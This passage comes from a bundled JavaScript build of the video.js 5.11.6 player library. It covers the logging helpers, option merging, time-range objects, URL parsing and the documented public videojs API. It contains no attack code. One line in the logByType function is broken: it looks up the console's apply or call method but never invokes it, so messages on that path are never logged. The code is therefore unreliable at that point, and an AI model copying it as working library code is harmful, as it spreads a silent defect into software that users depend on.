  17064. if (a && typeof a === 'object' || Array.isArray(a)) {
  17065. try {
  17066. return JSON.stringify(a);
  17067. } catch (x) {}
  17068. }
  17069. // Cast to string before joining, so we get null and undefined explicitly
  17070. // included in output (as we would in a modern console).
  17071. return String(a);
  17072. }).join(' ');
  17073. }
  17074. // Old IE versions do not allow .apply() for console methods (they are
  17075. // reported as objects rather than functions).
  17076. if (!fn.apply) {
  17077. fn(args);
  17078. } else {
  17079. fn[Array.isArray(args) ? 'apply' : 'call'];
  17080. }
  17081. };
  17082. exports.logByType = logByType;
  17083. /**
  17084. * Log plain debug messages
  17085. *
  17086. * @function log
  17087. */
  17088. function log() {
  17089. for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
  17090. args[_key] = arguments[_key];
  17091. }
  17092. logByType('log', args);
  17093. }
  17094. /**
  17095. * Keep a history of log messages
  17096. *
  17097. * @type {Array}
  17098. */
  17099. log.history = [];
  17100. /**
  17101. * Log error messages
  17102. *
  17103. * @method error
  17104. */
  17105. log.error = function () {
  17106. for (var _len2 = arguments.length, args = Array(_len2), _key2 = 0; _key2 < _len2; _key2++) {
  17107. args[_key2] = arguments[_key2];
  17108. }
  17109. return logByType('error', args);
  17110. };
  17111. /**
  17112. * Log warning messages
  17113. *
  17114. * @method warn
  17115. */
  17116. log.warn = function () {
  17117. for (var _len3 = arguments.length, args = Array(_len3), _key3 = 0; _key3 < _len3; _key3++) {
  17118. args[_key3] = arguments[_key3];
  17119. }
  17120. return logByType('warn', args);
  17121. };
  17122. exports['default'] = log;
  17123. },{"./browser":140,"global/window":2}],148:[function(_dereq_,module,exports){
  17124. /**
  17125. * @file merge-options.js
  17126. */
  17127. 'use strict';
  17128. exports.__esModule = true;
  17129. exports['default'] = mergeOptions;
  17130. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  17131. var _lodashCompatObjectMerge = _dereq_('lodash-compat/object/merge');
  17132. var _lodashCompatObjectMerge2 = _interopRequireDefault(_lodashCompatObjectMerge);
  17133. function isPlain(obj) {
  17134. return !!obj && typeof obj === 'object' && obj.toString() === '[object Object]' && obj.constructor === Object;
  17135. }
  17136. /**
  17137. * Merge customizer. video.js simply overwrites non-simple objects
  17138. * (like arrays) instead of attempting to overlay them.
  17139. * @see https://lodash.com/docs#merge
  17140. */
  17141. var customizer = function customizer(destination, source) {
  17142. // If we're not working with a plain object, copy the value as is
  17143. // If source is an array, for instance, it will replace destination
  17144. if (!isPlain(source)) {
  17145. return source;
  17146. }
  17147. // If the new value is a plain object but the first object value is not
  17148. // we need to create a new object for the first object to merge with.
  17149. // This makes it consistent with how merge() works by default
  17150. // and also protects from later changes the to first object affecting
  17151. // the second object's values.
  17152. if (!isPlain(destination)) {
  17153. return mergeOptions(source);
  17154. }
  17155. };
  17156. /**
  17157. * Merge one or more options objects, recursively merging **only**
  17158. * plain object properties. Previously `deepMerge`.
  17159. *
  17160. * @param {...Object} source One or more objects to merge
  17161. * @returns {Object} a new object that is the union of all
  17162. * provided objects
  17163. * @function mergeOptions
  17164. */
  17165. function mergeOptions() {
  17166. // contruct the call dynamically to handle the variable number of
  17167. // objects to merge
  17168. var args = Array.prototype.slice.call(arguments);
  17169. // unshift an empty object into the front of the call as the target
  17170. // of the merge
  17171. args.unshift({});
  17172. // customize conflict resolution to match our historical merge behavior
  17173. args.push(customizer);
  17174. _lodashCompatObjectMerge2['default'].apply(null, args);
  17175. // return the mutated result object
  17176. return args[0];
  17177. }
  17178. module.exports = exports['default'];
  17179. },{"lodash-compat/object/merge":40}],149:[function(_dereq_,module,exports){
  17180. 'use strict';
  17181. exports.__esModule = true;
  17182. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  17183. var _globalDocument = _dereq_('global/document');
  17184. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  17185. var createStyleElement = function createStyleElement(className) {
  17186. var style = _globalDocument2['default'].createElement('style');
  17187. style.className = className;
  17188. return style;
  17189. };
  17190. exports.createStyleElement = createStyleElement;
  17191. var setTextContent = function setTextContent(el, content) {
  17192. if (el.styleSheet) {
  17193. el.styleSheet.cssText = content;
  17194. } else {
  17195. el.textContent = content;
  17196. }
  17197. };
  17198. exports.setTextContent = setTextContent;
  17199. },{"global/document":1}],150:[function(_dereq_,module,exports){
  17200. 'use strict';
  17201. exports.__esModule = true;
  17202. exports.createTimeRanges = createTimeRanges;
  17203. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  17204. var _logJs = _dereq_('./log.js');
  17205. var _logJs2 = _interopRequireDefault(_logJs);
  17206. /**
  17207. * @file time-ranges.js
  17208. *
  17209. * Should create a fake TimeRange object
  17210. * Mimics an HTML5 time range instance, which has functions that
  17211. * return the start and end times for a range
  17212. * TimeRanges are returned by the buffered() method
  17213. *
  17214. * @param {(Number|Array)} Start of a single range or an array of ranges
  17215. * @param {Number} End of a single range
  17216. * @private
  17217. * @method createTimeRanges
  17218. */
  17219. function createTimeRanges(start, end) {
  17220. if (Array.isArray(start)) {
  17221. return createTimeRangesObj(start);
  17222. } else if (start === undefined || end === undefined) {
  17223. return createTimeRangesObj();
  17224. }
  17225. return createTimeRangesObj([[start, end]]);
  17226. }
  17227. exports.createTimeRange = createTimeRanges;
  17228. function createTimeRangesObj(ranges) {
  17229. if (ranges === undefined || ranges.length === 0) {
  17230. return {
  17231. length: 0,
  17232. start: function start() {
  17233. throw new Error('This TimeRanges object is empty');
  17234. },
  17235. end: function end() {
  17236. throw new Error('This TimeRanges object is empty');
  17237. }
  17238. };
  17239. }
  17240. return {
  17241. length: ranges.length,
  17242. start: getRange.bind(null, 'start', 0, ranges),
  17243. end: getRange.bind(null, 'end', 1, ranges)
  17244. };
  17245. }
  17246. function getRange(fnName, valueIndex, ranges, rangeIndex) {
  17247. if (rangeIndex === undefined) {
  17248. _logJs2['default'].warn('DEPRECATED: Function \'' + fnName + '\' on \'TimeRanges\' called without an index argument.');
  17249. rangeIndex = 0;
  17250. }
  17251. rangeCheck(fnName, rangeIndex, ranges.length - 1);
  17252. return ranges[rangeIndex][valueIndex];
  17253. }
  17254. function rangeCheck(fnName, index, maxIndex) {
  17255. if (index < 0 || index > maxIndex) {
  17256. throw new Error('Failed to execute \'' + fnName + '\' on \'TimeRanges\': The index provided (' + index + ') is greater than or equal to the maximum bound (' + maxIndex + ').');
  17257. }
  17258. }
  17259. },{"./log.js":147}],151:[function(_dereq_,module,exports){
  17260. /**
  17261. * @file to-title-case.js
  17262. *
  17263. * Uppercase the first letter of a string
  17264. *
  17265. * @param {String} string String to be uppercased
  17266. * @return {String}
  17267. * @private
  17268. * @method toTitleCase
  17269. */
  17270. "use strict";
  17271. exports.__esModule = true;
  17272. function toTitleCase(string) {
  17273. return string.charAt(0).toUpperCase() + string.slice(1);
  17274. }
  17275. exports["default"] = toTitleCase;
  17276. module.exports = exports["default"];
  17277. },{}],152:[function(_dereq_,module,exports){
  17278. /**
  17279. * @file url.js
  17280. */
  17281. 'use strict';
  17282. exports.__esModule = true;
  17283. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  17284. var _globalDocument = _dereq_('global/document');
  17285. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  17286. var _globalWindow = _dereq_('global/window');
  17287. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  17288. /**
  17289. * Resolve and parse the elements of a URL
  17290. *
  17291. * @param {String} url The url to parse
  17292. * @return {Object} An object of url details
  17293. * @method parseUrl
  17294. */
  17295. var parseUrl = function parseUrl(url) {
  17296. var props = ['protocol', 'hostname', 'port', 'pathname', 'search', 'hash', 'host'];
  17297. // add the url to an anchor and let the browser parse the URL
  17298. var a = _globalDocument2['default'].createElement('a');
  17299. a.href = url;
  17300. // IE8 (and 9?) Fix
  17301. // ie8 doesn't parse the URL correctly until the anchor is actually
  17302. // added to the body, and an innerHTML is needed to trigger the parsing
  17303. var addToBody = a.host === '' && a.protocol !== 'file:';
  17304. var div = undefined;
  17305. if (addToBody) {
  17306. div = _globalDocument2['default'].createElement('div');
  17307. div.innerHTML = '<a href="' + url + '"></a>';
  17308. a = div.firstChild;
  17309. // prevent the div from affecting layout
  17310. div.setAttribute('style', 'display:none; position:absolute;');
  17311. _globalDocument2['default'].body.appendChild(div);
  17312. }
  17313. // Copy the specific URL properties to a new object
  17314. // This is also needed for IE8 because the anchor loses its
  17315. // properties when it's removed from the dom
  17316. var details = {};
  17317. for (var i = 0; i < props.length; i++) {
  17318. details[props[i]] = a[props[i]];
  17319. }
  17320. // IE9 adds the port to the host property unlike everyone else. If
  17321. // a port identifier is added for standard ports, strip it.
  17322. if (details.protocol === 'http:') {
  17323. details.host = details.host.replace(/:80$/, '');
  17324. }
  17325. if (details.protocol === 'https:') {
  17326. details.host = details.host.replace(/:443$/, '');
  17327. }
  17328. if (addToBody) {
  17329. _globalDocument2['default'].body.removeChild(div);
  17330. }
  17331. return details;
  17332. };
  17333. exports.parseUrl = parseUrl;
  17334. /**
  17335. * Get absolute version of relative URL. Used to tell flash correct URL.
  17336. * http://stackoverflow.com/questions/470832/getting-an-absolute-url-from-a-relative-one-ie6-issue
  17337. *
  17338. * @param {String} url URL to make absolute
  17339. * @return {String} Absolute URL
  17340. * @private
  17341. * @method getAbsoluteURL
  17342. */
  17343. var getAbsoluteURL = function getAbsoluteURL(url) {
  17344. // Check if absolute URL
  17345. if (!url.match(/^https?:\/\//)) {
  17346. // Convert to absolute URL. Flash hosted off-site needs an absolute URL.
  17347. var div = _globalDocument2['default'].createElement('div');
  17348. div.innerHTML = '<a href="' + url + '">x</a>';
  17349. url = div.firstChild.href;
  17350. }
  17351. return url;
  17352. };
  17353. exports.getAbsoluteURL = getAbsoluteURL;
  17354. /**
  17355. * Returns the extension of the passed file name. It will return an empty string if you pass an invalid path
  17356. *
  17357. * @param {String} path The fileName path like '/path/to/file.mp4'
  17358. * @returns {String} The extension in lower case or an empty string if no extension could be found.
  17359. * @method getFileExtension
  17360. */
  17361. var getFileExtension = function getFileExtension(path) {
  17362. if (typeof path === 'string') {
  17363. var splitPathRe = /^(\/?)([\s\S]*?)((?:\.{1,2}|[^\/]+?)(\.([^\.\/\?]+)))(?:[\/]*|[\?].*)$/i;
  17364. var pathParts = splitPathRe.exec(path);
  17365. if (pathParts) {
  17366. return pathParts.pop().toLowerCase();
  17367. }
  17368. }
  17369. return '';
  17370. };
  17371. exports.getFileExtension = getFileExtension;
  17372. /**
  17373. * Returns whether the url passed is a cross domain request or not.
  17374. *
  17375. * @param {String} url The url to check
  17376. * @return {Boolean} Whether it is a cross domain request or not
  17377. * @method isCrossOrigin
  17378. */
  17379. var isCrossOrigin = function isCrossOrigin(url) {
  17380. var winLoc = _globalWindow2['default'].location;
  17381. var urlInfo = parseUrl(url);
  17382. // IE8 protocol relative urls will return ':' for protocol
  17383. var srcProtocol = urlInfo.protocol === ':' ? winLoc.protocol : urlInfo.protocol;
  17384. // Check if url is for another domain/origin
  17385. // IE8 doesn't know location.origin, so we won't rely on it here
  17386. var crossOrigin = srcProtocol + urlInfo.host !== winLoc.protocol + winLoc.host;
  17387. return crossOrigin;
  17388. };
  17389. exports.isCrossOrigin = isCrossOrigin;
  17390. },{"global/document":1,"global/window":2}],153:[function(_dereq_,module,exports){
  17391. /**
  17392. * @file video.js
  17393. */
  17394. 'use strict';
  17395. exports.__esModule = true;
  17396. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  17397. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  17398. var _globalWindow = _dereq_('global/window');
  17399. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  17400. var _globalDocument = _dereq_('global/document');
  17401. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  17402. var _setup = _dereq_('./setup');
  17403. var setup = _interopRequireWildcard(_setup);
  17404. var _utilsStylesheetJs = _dereq_('./utils/stylesheet.js');
  17405. var stylesheet = _interopRequireWildcard(_utilsStylesheetJs);
  17406. var _component = _dereq_('./component');
  17407. var _component2 = _interopRequireDefault(_component);
  17408. var _eventTarget = _dereq_('./event-target');
  17409. var _eventTarget2 = _interopRequireDefault(_eventTarget);
  17410. var _utilsEventsJs = _dereq_('./utils/events.js');
  17411. var Events = _interopRequireWildcard(_utilsEventsJs);
  17412. var _player = _dereq_('./player');
  17413. var _player2 = _interopRequireDefault(_player);
  17414. var _pluginsJs = _dereq_('./plugins.js');
  17415. var _pluginsJs2 = _interopRequireDefault(_pluginsJs);
  17416. var _srcJsUtilsMergeOptionsJs = _dereq_('../../src/js/utils/merge-options.js');
  17417. var _srcJsUtilsMergeOptionsJs2 = _interopRequireDefault(_srcJsUtilsMergeOptionsJs);
  17418. var _utilsFnJs = _dereq_('./utils/fn.js');
  17419. var Fn = _interopRequireWildcard(_utilsFnJs);
  17420. var _tracksTextTrackJs = _dereq_('./tracks/text-track.js');
  17421. var _tracksTextTrackJs2 = _interopRequireDefault(_tracksTextTrackJs);
  17422. var _tracksAudioTrackJs = _dereq_('./tracks/audio-track.js');
  17423. var _tracksAudioTrackJs2 = _interopRequireDefault(_tracksAudioTrackJs);
  17424. var _tracksVideoTrackJs = _dereq_('./tracks/video-track.js');
  17425. var _tracksVideoTrackJs2 = _interopRequireDefault(_tracksVideoTrackJs);
  17426. var _utilsTimeRangesJs = _dereq_('./utils/time-ranges.js');
  17427. var _utilsFormatTimeJs = _dereq_('./utils/format-time.js');
  17428. var _utilsFormatTimeJs2 = _interopRequireDefault(_utilsFormatTimeJs);
  17429. var _utilsLogJs = _dereq_('./utils/log.js');
  17430. var _utilsLogJs2 = _interopRequireDefault(_utilsLogJs);
  17431. var _utilsDomJs = _dereq_('./utils/dom.js');
  17432. var Dom = _interopRequireWildcard(_utilsDomJs);
  17433. var _utilsBrowserJs = _dereq_('./utils/browser.js');
  17434. var browser = _interopRequireWildcard(_utilsBrowserJs);
  17435. var _utilsUrlJs = _dereq_('./utils/url.js');
  17436. var Url = _interopRequireWildcard(_utilsUrlJs);
  17437. var _extendJs = _dereq_('./extend.js');
  17438. var _extendJs2 = _interopRequireDefault(_extendJs);
  17439. var _lodashCompatObjectMerge = _dereq_('lodash-compat/object/merge');
  17440. var _lodashCompatObjectMerge2 = _interopRequireDefault(_lodashCompatObjectMerge);
  17441. var _xhr = _dereq_('xhr');
  17442. var _xhr2 = _interopRequireDefault(_xhr);
  17443. // Include the built-in techs
  17444. var _techTechJs = _dereq_('./tech/tech.js');
  17445. var _techTechJs2 = _interopRequireDefault(_techTechJs);
  17446. var _techHtml5Js = _dereq_('./tech/html5.js');
  17447. var _techHtml5Js2 = _interopRequireDefault(_techHtml5Js);
  17448. var _techFlashJs = _dereq_('./tech/flash.js');
  17449. var _techFlashJs2 = _interopRequireDefault(_techFlashJs);
  17450. // HTML5 Element Shim for IE8
  17451. if (typeof HTMLVideoElement === 'undefined') {
  17452. _globalDocument2['default'].createElement('video');
  17453. _globalDocument2['default'].createElement('audio');
  17454. _globalDocument2['default'].createElement('track');
  17455. }
  17456. /**
  17457. * Doubles as the main function for users to create a player instance and also
  17458. * the main library object.
  17459. * The `videojs` function can be used to initialize or retrieve a player.
  17460. * ```js
  17461. * var myPlayer = videojs('my_video_id');
  17462. * ```
  17463. *
  17464. * @param {String|Element} id Video element or video element ID
  17465. * @param {Object=} options Optional options object for config/settings
  17466. * @param {Function=} ready Optional ready callback
  17467. * @return {Player} A player instance
  17468. * @mixes videojs
  17469. * @method videojs
  17470. */
  17471. function videojs(id, options, ready) {
  17472. var tag = undefined; // Element of ID
  17473. // Allow for element or ID to be passed in
  17474. // String ID
  17475. if (typeof id === 'string') {
  17476. // Adjust for jQuery ID syntax
  17477. if (id.indexOf('#') === 0) {
  17478. id = id.slice(1);
  17479. }
  17480. // If a player instance has already been created for this ID return it.
  17481. if (videojs.getPlayers()[id]) {
  17482. // If options or ready funtion are passed, warn
  17483. if (options) {
  17484. _utilsLogJs2['default'].warn('Player "' + id + '" is already initialised. Options will not be applied.');
  17485. }
  17486. if (ready) {
  17487. videojs.getPlayers()[id].ready(ready);
  17488. }
  17489. return videojs.getPlayers()[id];
  17490. // Otherwise get element for ID
  17491. } else {
  17492. tag = Dom.getEl(id);
  17493. }
  17494. // ID is a media element
  17495. } else {
  17496. tag = id;
  17497. }
  17498. // Check for a useable element
  17499. if (!tag || !tag.nodeName) {
  17500. // re: nodeName, could be a box div also
  17501. throw new TypeError('The element or ID supplied is not valid. (videojs)'); // Returns
  17502. }
  17503. // Element may have a player attr referring to an already created player instance.
  17504. // If not, set up a new player and return the instance.
  17505. return tag['player'] || _player2['default'].players[tag.playerId] || new _player2['default'](tag, options, ready);
  17506. }
  17507. // Add default styles
  17508. if (_globalWindow2['default'].VIDEOJS_NO_DYNAMIC_STYLE !== true) {
  17509. var style = Dom.$('.vjs-styles-defaults');
  17510. if (!style) {
  17511. style = stylesheet.createStyleElement('vjs-styles-defaults');
  17512. var head = Dom.$('head');
  17513. head.insertBefore(style, head.firstChild);
  17514. stylesheet.setTextContent(style, '\n .video-js {\n width: 300px;\n height: 150px;\n }\n\n .vjs-fluid {\n padding-top: 56.25%\n }\n ');
  17515. }
  17516. }
  17517. // Run Auto-load players
  17518. // You have to wait at least once in case this script is loaded after your video in the DOM (weird behavior only with minified version)
  17519. setup.autoSetupTimeout(1, videojs);
  17520. /*
  17521. * Current software version (semver)
  17522. *
  17523. * @type {String}
  17524. */
  17525. videojs.VERSION = '5.11.6';
  17526. /**
  17527. * The global options object. These are the settings that take effect
  17528. * if no overrides are specified when the player is created.
  17529. *
  17530. * ```js
  17531. * videojs.options.autoplay = true
  17532. * // -> all players will autoplay by default
  17533. * ```
  17534. *
  17535. * @type {Object}
  17536. */
  17537. videojs.options = _player2['default'].prototype.options_;
  17538. /**
  17539. * Get an object with the currently created players, keyed by player ID
  17540. *
  17541. * @return {Object} The created players
  17542. * @mixes videojs
  17543. * @method getPlayers
  17544. */
  17545. videojs.getPlayers = function () {
  17546. return _player2['default'].players;
  17547. };
  17548. /**
  17549. * Expose players object.
  17550. *
  17551. * @memberOf videojs
  17552. * @property {Object} players
  17553. */
  17554. videojs.players = _player2['default'].players;
  17555. /**
  17556. * Get a component class object by name
  17557. * ```js
  17558. * var VjsButton = videojs.getComponent('Button');
  17559. * // Create a new instance of the component
  17560. * var myButton = new VjsButton(myPlayer);
  17561. * ```
  17562. *
  17563. * @return {Component} Component identified by name
  17564. * @mixes videojs
  17565. * @method getComponent
  17566. */
  17567. videojs.getComponent = _component2['default'].getComponent;
  17568. /**
  17569. * Register a component so it can referred to by name
  17570. * Used when adding to other
  17571. * components, either through addChild
  17572. * `component.addChild('myComponent')`
  17573. * or through default children options
  17574. * `{ children: ['myComponent'] }`.
  17575. * ```js
  17576. * // Get a component to subclass
  17577. * var VjsButton = videojs.getComponent('Button');
  17578. * // Subclass the component (see 'extend' doc for more info)
  17579. * var MySpecialButton = videojs.extend(VjsButton, {});
  17580. * // Register the new component
  17581. * VjsButton.registerComponent('MySepcialButton', MySepcialButton);
  17582. * // (optionally) add the new component as a default player child
  17583. * myPlayer.addChild('MySepcialButton');
  17584. * ```
  17585. * NOTE: You could also just initialize the component before adding.
  17586. * `component.addChild(new MyComponent());`
  17587. *
  17588. * @param {String} The class name of the component
  17589. * @param {Component} The component class
  17590. * @return {Component} The newly registered component
  17591. * @mixes videojs
  17592. * @method registerComponent
  17593. */
  17594. videojs.registerComponent = function (name, comp) {
  17595. if (_techTechJs2['default'].isTech(comp)) {
  17596. _utilsLogJs2['default'].warn('The ' + name + ' tech was registered as a component. It should instead be registered using videojs.registerTech(name, tech)');
  17597. }
  17598. _component2['default'].registerComponent.call(_component2['default'], name, comp);
  17599. };
  17600. /**
  17601. * Get a Tech class object by name
  17602. * ```js
  17603. * var Html5 = videojs.getTech('Html5');
  17604. * // Create a new instance of the component
  17605. * var html5 = new Html5(options);
  17606. * ```
  17607. *
  17608. * @return {Tech} Tech identified by name
  17609. * @mixes videojs
  17610. * @method getComponent
  17611. */
  17612. videojs.getTech = _techTechJs2['default'].getTech;
  17613. /**
  17614. * Register a Tech so it can referred to by name.
  17615. * This is used in the tech order for the player.
  17616. *
  17617. * ```js
  17618. * // get the Html5 Tech
  17619. * var Html5 = videojs.getTech('Html5');
  17620. * var MyTech = videojs.extend(Html5, {});
  17621. * // Register the new Tech
  17622. * VjsButton.registerTech('Tech', MyTech);
  17623. * var player = videojs('myplayer', {
  17624. * techOrder: ['myTech', 'html5']
  17625. * });
  17626. * ```
  17627. *
  17628. * @param {String} The class name of the tech
  17629. * @param {Tech} The tech class
  17630. * @return {Tech} The newly registered Tech
  17631. * @mixes videojs
  17632. * @method registerTech
  17633. */
  17634. videojs.registerTech = _techTechJs2['default'].registerTech;
  17635. /**
  17636. * A suite of browser and device tests
  17637. *
  17638. * @type {Object}
  17639. * @private
  17640. */
  17641. videojs.browser = browser;
  17642. /**
  17643. * Whether or not the browser supports touch events. Included for backward
  17644. * compatibility with 4.x, but deprecated. Use `videojs.browser.TOUCH_ENABLED`
  17645. * instead going forward.
  17646. *
  17647. * @deprecated
  17648. * @type {Boolean}
  17649. */
  17650. videojs.TOUCH_ENABLED = browser.TOUCH_ENABLED;
  17651. /**
  17652. * Subclass an existing class
  17653. * Mimics ES6 subclassing with the `extend` keyword
  17654. * ```js
  17655. * // Create a basic javascript 'class'
  17656. * function MyClass(name){
  17657. * // Set a property at initialization
  17658. * this.myName = name;
  17659. * }
  17660. * // Create an instance method
  17661. * MyClass.prototype.sayMyName = function(){
  17662. * alert(this.myName);
  17663. * };
  17664. * // Subclass the exisitng class and change the name
  17665. * // when initializing
  17666. * var MySubClass = videojs.extend(MyClass, {
  17667. * constructor: function(name) {
  17668. * // Call the super class constructor for the subclass
  17669. * MyClass.call(this, name)
  17670. * }
  17671. * });
  17672. * // Create an instance of the new sub class
  17673. * var myInstance = new MySubClass('John');
  17674. * myInstance.sayMyName(); // -> should alert "John"
  17675. * ```
  17676. *
  17677. * @param {Function} The Class to subclass
  17678. * @param {Object} An object including instace methods for the new class
  17679. * Optionally including a `constructor` function
  17680. * @return {Function} The newly created subclass
  17681. * @mixes videojs
  17682. * @method extend
  17683. */
  17684. videojs.extend = _extendJs2['default'];
  17685. /**
  17686. * Merge two options objects recursively
  17687. * Performs a deep merge like lodash.merge but **only merges plain objects**
  17688. * (not arrays, elements, anything else)
  17689. * Other values will be copied directly from the second object.
  17690. * ```js
  17691. * var defaultOptions = {
  17692. * foo: true,
  17693. * bar: {
  17694. * a: true,
  17695. * b: [1,2,3]
  17696. * }
  17697. * };
  17698. * var newOptions = {
  17699. * foo: false,
  17700. * bar: {
  17701. * b: [4,5,6]
  17702. * }
  17703. * };
  17704. * var result = videojs.mergeOptions(defaultOptions, newOptions);
  17705. * // result.foo = false;
  17706. * // result.bar.a = true;
  17707. * // result.bar.b = [4,5,6];
  17708. * ```
  17709. *
  17710. * @param {Object} defaults The options object whose values will be overriden
  17711. * @param {Object} overrides The options object with values to override the first
  17712. * @param {Object} etc Any number of additional options objects
  17713. *
  17714. * @return {Object} a new object with the merged values
  17715. * @mixes videojs
  17716. * @method mergeOptions
  17717. */
  17718. videojs.mergeOptions = _srcJsUtilsMergeOptionsJs2['default'];
  17719. /**
  17720. * Change the context (this) of a function
  17721. *
  17722. * videojs.bind(newContext, function(){
  17723. * this === newContext
  17724. * });
  17725. *
  17726. * NOTE: as of v5.0 we require an ES5 shim, so you should use the native
  17727. * `function(){}.bind(newContext);` instead of this.
  17728. *
  17729. * @param {*} context The object to bind as scope
  17730. * @param {Function} fn The function to be bound to a scope
  17731. * @param {Number=} uid An optional unique ID for the function to be set
  17732. * @return {Function}
  17733. */
  17734. videojs.bind = Fn.bind;
  17735. /**
  17736. * Create a Video.js player plugin
  17737. * Plugins are only initialized when options for the plugin are included
  17738. * in the player options, or the plugin function on the player instance is
  17739. * called.
  17740. * **See the plugin guide in the docs for a more detailed example**
  17741. * ```js
  17742. * // Make a plugin that alerts when the player plays
  17743. * videojs.plugin('myPlugin', function(myPluginOptions) {
  17744. * myPluginOptions = myPluginOptions || {};
  17745. *
  17746. * var player = this;
  17747. * var alertText = myPluginOptions.text || 'Player is playing!'
  17748. *
  17749. * player.on('play', function(){
  17750. * alert(alertText);
  17751. * });
  17752. * });
  17753. * // USAGE EXAMPLES
  17754. * // EXAMPLE 1: New player with plugin options, call plugin immediately
  17755. * var player1 = videojs('idOne', {
  17756. * myPlugin: {
  17757. * text: 'Custom text!'
  17758. * }
  17759. * });
  17760. * // Click play
  17761. * // --> Should alert 'Custom text!'
  17762. * // EXAMPLE 3: New player, initialize plugin later
  17763. * var player3 = videojs('idThree');
  17764. * // Click play
  17765. * // --> NO ALERT
  17766. * // Click pause
  17767. * // Initialize plugin using the plugin function on the player instance
  17768. * player3.myPlugin({
  17769. * text: 'Plugin added later!'
  17770. * });
  17771. * // Click play
  17772. * // --> Should alert 'Plugin added later!'
  17773. * ```
  17774. *
  17775. * @param {String} name The plugin name
  17776. * @param {Function} fn The plugin function that will be called with options
  17777. * @mixes videojs
  17778. * @method plugin
  17779. */
  17780. videojs.plugin = _pluginsJs2['default'];
  17781. /**
  17782. * Adding languages so that they're available to all players.
  17783. * ```js
  17784. * videojs.addLanguage('es', { 'Hello': 'Hola' });
  17785. * ```
  17786. *
  17787. * @param {String} code The language code or dictionary property
  17788. * @param {Object} data The data values to be translated
  17789. * @return {Object} The resulting language dictionary object
  17790. * @mixes videojs
  17791. * @method addLanguage
  17792. */
  17793. videojs.addLanguage = function (code, data) {
  17794. var _merge;
  17795. code = ('' + code).toLowerCase();
  17796. return _lodashCompatObjectMerge2['default'](videojs.options.languages, (_merge = {}, _merge[code] = data, _merge))[code];
  17797. };
  17798. /**
  17799. * Log debug messages.
  17800. *
  17801. * @param {...Object} messages One or more messages to log
  17802. */
  17803. videojs.log = _utilsLogJs2['default'];
  17804. /**
  17805. * Creates an emulated TimeRange object.
  17806. *
  17807. * @param {Number|Array} start Start time in seconds or an array of ranges
  17808. * @param {Number} end End time in seconds
  17809. * @return {Object} Fake TimeRange object
  17810. * @method createTimeRange
  17811. */
  17812. videojs.createTimeRange = videojs.createTimeRanges = _utilsTimeRangesJs.createTimeRanges;
  17813. /**
  17814. * Format seconds as a time string, H:MM:SS or M:SS
  17815. * Supplying a guide (in seconds) will force a number of leading zeros
  17816. * to cover the length of the guide
  17817. *
  17818. * @param {Number} seconds Number of seconds to be turned into a string
  17819. * @param {Number} guide Number (in seconds) to model the string after
  17820. * @return {String} Time formatted as H:MM:SS or M:SS
  17821. * @method formatTime
  17822. */
  17823. videojs.formatTime = _utilsFormatTimeJs2['default'];
  17824. /**
  17825. * Resolve and parse the elements of a URL
  17826. *
  17827. * @param {String} url The url to parse
  17828. * @return {Object} An object of url details
  17829. * @method parseUrl
  17830. */
  17831. videojs.parseUrl = Url.parseUrl;
  17832. /**
  17833. * Returns whether the url passed is a cross domain request or not.
  17834. *
  17835. * @param {String} url The url to check
  17836. * @return {Boolean} Whether it is a cross domain request or not
  17837. * @method isCrossOrigin
  17838. */
  17839. videojs.isCrossOrigin = Url.isCrossOrigin;
  17840. /**
  17841. * Event target class.
  17842. *
  17843. * @type {Function}
  17844. */
  17845. videojs.EventTarget = _eventTarget2['default'];
  17846. /**
  17847. * Add an event listener to element
  17848. * It stores the handler function in a separate cache object
  17849. * and adds a generic handler to the element's event,
  17850. * along with a unique id (guid) to the element.
  17851. *
  17852. * @param {Element|Object} elem Element or object to bind listeners to
  17853. * @param {String|Array} type Type of event to bind to.
  17854. * @param {Function} fn Event listener.
  17855. * @method on
  17856. */
  17857. videojs.on = Events.on;
  17858. /**
  17859. * Trigger a listener only once for an event
  17860. *
  17861. * @param {Element|Object} elem Element or object to
  17862. * @param {String|Array} type Name/type of event
  17863. * @param {Function} fn Event handler function
  17864. * @method one
  17865. */
  17866. videojs.one = Events.one;
  17867. /**
  17868. * Removes event listeners from an element
  17869. *
  17870. * @param {Element|Object} elem Object to remove listeners from
  17871. * @param {String|Array=} type Type of listener to remove. Don't include to remove all events from element.
  17872. * @param {Function} fn Specific listener to remove. Don't include to remove listeners for an event type.
  17873. * @method off
  17874. */
  17875. videojs.off = Events.off;
  17876. /**
  17877. * Trigger an event for an element
  17878. *
  17879. * @param {Element|Object} elem Element to trigger an event on
  17880. * @param {Event|Object|String} event A string (the type) or an event object with a type attribute
  17881. * @param {Object} [hash] data hash to pass along with the event
  17882. * @return {Boolean=} Returned only if default was prevented
  17883. * @method trigger
  17884. */
  17885. videojs.trigger = Events.trigger;
  17886. /**
  17887. * A cross-browser XMLHttpRequest wrapper. Here's a simple example:
  17888. *
  17889. * videojs.xhr({
  17890. * body: someJSONString,
  17891. * uri: "/foo",
  17892. * headers: {
  17893. * "Content-Type": "application/json"
  17894. * }
  17895. * }, function (err, resp, body) {
  17896. * // check resp.statusCode
  17897. * });
  17898. *
  17899. * Check out the [full
  17900. * documentation](https://github.com/Raynos/xhr/blob/v2.1.0/README.md)
  17901. * for more options.
  17902. *
  17903. * @param {Object} options settings for the request.
  17904. * @return {XMLHttpRequest|XDomainRequest} the request object.
  17905. * @see https://github.com/Raynos/xhr
  17906. */
  17907. videojs.xhr = _xhr2['default'];
  17908. /**
  17909. * TextTrack class
  17910. *
  17911. * @type {Function}
  17912. */
  17913. videojs.TextTrack = _tracksTextTrackJs2['default'];
  17914. /**
  17915. * export the AudioTrack class so that source handlers can create
